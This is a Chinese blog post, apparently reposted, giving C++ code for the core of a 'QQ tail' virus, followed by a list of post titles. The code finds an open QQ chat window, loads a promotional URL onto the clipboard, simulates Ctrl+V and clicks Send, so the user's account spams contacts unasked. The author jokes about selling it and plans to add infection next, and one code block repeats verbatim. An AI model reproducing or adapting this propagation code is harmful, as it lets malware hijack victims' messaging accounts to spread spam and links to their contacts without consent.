QQ2007尾巴病毒实现(一)
来源:互联网 发布:淘宝618活动时间 编辑:程序博客网 时间:2024/05/02 17:17
闲来无事,想研究一下QQ尾巴病毒,呵呵,有谁要,50块一个卖了,这下发达了(跟制作熊猫烧香的人学的) @@||
记得刚毕业的时候写过qq炸弹程序,原理跟qq尾巴病毒差不多,无非是查找到输入框和发送按牛的句柄;然后发送windows消息即可,只是qq2006开始屏蔽掉了richedit的settext past等等消息,所以之前采用的发送settext消息的方法已经不管用了,所以只好发送键盘事件了。
大致流程:查找输入框,粘贴文本,然后发送单击 发送按牛事件。
char strClassName[256];
::GetClassName(GetForegroundWindow(), strClassName, 255);
CString clsname;
clsname.Format(_T("%s"),strClassName);
//HWND hNMMainWnd = FindWindowEx(NULL, NULL,"#32770","与 永远的黑山 聊天中");
//hNMMainWnd = FindWindowEx(hNMMainWnd, NULL,"RICHEDIT",NULL);
//如果当前窗口为活动窗口时;
if(clsname == "#32770")...{
HWND hNMMainWnd = GetForegroundWindow();
if(IsWindow(hNMMainWnd))
...{
//EnumChildWindows(hNMMainWnd,MyEnumChildProc,NULL);
//hNMMainWnd = FindWindowEx(hNMMainWnd, NULL, NULL,NULL);
//printf("111111");
//char strClassName[256];
//::GetClassName(hNMMainWnd, strClassName, 255);
//printf(strClassName);
//第一次查找粘贴文本;
EnumChildWindows(hNMMainWnd,MyEnumChildProc1,NULL);
Sleep(100);
//第二次查找发送出去;
EnumChildWindows(hNMMainWnd,MyEnumChildProc2,NULL);
}
}
::GetClassName(GetForegroundWindow(), strClassName, 255);
CString clsname;
clsname.Format(_T("%s"),strClassName);
//HWND hNMMainWnd = FindWindowEx(NULL, NULL,"#32770","与 永远的黑山 聊天中");
//hNMMainWnd = FindWindowEx(hNMMainWnd, NULL,"RICHEDIT",NULL);
//如果当前窗口为活动窗口时;
if(clsname == "#32770")...{
HWND hNMMainWnd = GetForegroundWindow();
if(IsWindow(hNMMainWnd))
...{
//EnumChildWindows(hNMMainWnd,MyEnumChildProc,NULL);
//hNMMainWnd = FindWindowEx(hNMMainWnd, NULL, NULL,NULL);
//printf("111111");
//char strClassName[256];
//::GetClassName(hNMMainWnd, strClassName, 255);
//printf(strClassName);
//第一次查找粘贴文本;
EnumChildWindows(hNMMainWnd,MyEnumChildProc1,NULL);
Sleep(100);
//第二次查找发送出去;
EnumChildWindows(hNMMainWnd,MyEnumChildProc2,NULL);
}
}
BOOL CALLBACK My::MyEnumChildProc1(HWND hwndChild, LPARAM lParam)
...{
//HWND iNMMainWnd= FindWindowEx(hwndChild, NULL, NULL, NULL);
//if(IsWindow(iNMMainWnd))
//{
//EnumChildWindows(iNMMainWnd,MyEnumChildProc,NULL);
//}
TCHAR szWndTitle[1024];
//int nLen = 0;
int nLen = GetWindowText(hwndChild, szWndTitle, 1024);
::SendMessage(hwndChild,WM_GETTEXT,(WPARAM)256,(LPARAM)szWndTitle);
CString title;
CString classname;
title.Format(_T("%s"),szWndTitle);
if(title == "发送(&S)")...{
//::SendMessage(hwndChild,BM_CLICK,0,0);
//printf("--------->click");
}
char strClassName[256];
::GetClassName(hwndChild, strClassName, 255);
printf(strClassName);
classname.Format(_T("%s"),strClassName);
if(title == "" && classname == "RichEdit20A")...{
printf("--------->set text");
//::PostMessage(hwndChild,WM_CHAR,'中',0);
//发送组合键;ctrl+v
setMSG(hwndChild);
//设置焦点;
SetFocus(hwndChild);
keybd_event(VK_CONTROL,0,0,0);
keybd_event('V',0,0,0);
keybd_event('V',0,KEYEVENTF_KEYUP,0);
keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
return FALSE;
}
printf(szWndTitle);
printf(" ");
//EnumChildWindows(hwndChild,MyEnumChildProc,NULL);
return TRUE;
}
BOOL CALLBACK My::MyEnumChildProc2(HWND hwndChild, LPARAM lParam)
...{
//HWND iNMMainWnd= FindWindowEx(hwndChild, NULL, NULL, NULL);
//if(IsWindow(iNMMainWnd))
//{
//EnumChildWindows(iNMMainWnd,MyEnumChildProc,NULL);
//}
TCHAR szWndTitle[1024];
//int nLen = 0;
int nLen = GetWindowText(hwndChild, szWndTitle, 1024);
::SendMessage(hwndChild,WM_GETTEXT,(WPARAM)256,(LPARAM)szWndTitle);
CString title;
CString classname;
title.Format(_T("%s"),szWndTitle);
if(title == "发送(&S)")...{
::SendMessage(hwndChild,BM_CLICK,0,0);
printf("--------->click");
return FALSE;
}
char strClassName[256];
::GetClassName(hwndChild, strClassName, 255);
printf(strClassName);
classname.Format(_T("%s"),strClassName);
if(title == "" && classname == "RichEdit20A")...{
//printf("--------->set text");
//::PostMessage(hwndChild,WM_CHAR,'中',0);
//发送组合键;ctrl+v
//setMSG(hwndChild);
//keybd_event(VK_CONTROL,0,0,0);
//keybd_event('V',0,0,0);
//keybd_event('V',0,KEYEVENTF_KEYUP,0);
//keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
}
//printf(szWndTitle);
//printf(" ");
//EnumChildWindows(hwndChild,MyEnumChildProc,NULL);
return TRUE;
}
void My::setMSG(HWND hwnd)...{
CString msg = "欢迎访问黑芝麻网 http://www.heizm.com";
if(::OpenClipboard(hwnd))
...{
HGLOBAL clipbuffer;
char * buffer;
EmptyClipboard();
clipbuffer = GlobalAlloc(GMEM_DDESHARE, msg.GetLength()+1);
buffer = (char*)GlobalLock(clipbuffer);
::strcpy(buffer, LPCSTR(msg));
GlobalUnlock(clipbuffer);
SetClipboardData(CF_TEXT,clipbuffer);
CloseClipboard();
}
}
到现在为止,已经解决了如何自动发送尾巴的程序。
那么接下去就是怎么去感染人家的电脑了,靠,太不人道了,回头继续研究。
- QQ2007尾巴病毒实现(一)
- QQ尾巴病毒的另一种实现
- “QQ尾巴病毒”核心技术的实现
- 《“QQ尾巴病毒”核心技术的实现》日文版
- “QQ尾巴病毒”核心技术的实现
- [转载] QQ尾巴病毒的实现
- “QQ尾巴病毒”核心技术的实现
- “QQ尾巴病毒”核心技术的实现
- “QQ尾巴病毒”核心技术的实现
- QQ尾巴病毒的Visual C++实现探讨
- QQ尾巴病毒的Visual C++实现探讨(转)
- QQ尾巴病毒的Visual C++实现探讨
- QQ尾巴病毒的Visual C++实现探讨
- 深入了解“QQ尾巴病毒”的实现技术
- QQ尾巴病毒
- QQ尾巴病毒 VC
- QQ尾巴病毒仿真(转)
- QQ2004的Rich句柄查找方法以及尾巴病毒的实现
- Microsoft Small Business Server 2003 Unleashed
- 刚刚注册csdn用户
- Microsoft Office Project 2003 Step by Step
- [转载]AJAX实现基于WEB的文件上传的进度控制
- truncate,delete,drop的异同点(说明:本文摘自oracle技术用户讨论组)
- QQ2007尾巴病毒实现(一)
- J2me性能优化,避免内存溢出小结
- Nova Press GRE Prep Course ebook
- [转载]计算机科学中引用最多的数学书
- C++Builder 获取MAC地址
- 新的一年,新的开始,新的征途,新的心态
- 新年新开始,猪年好运气
- C++Builder 程序只运行一个实例
- 复合控件------关键概念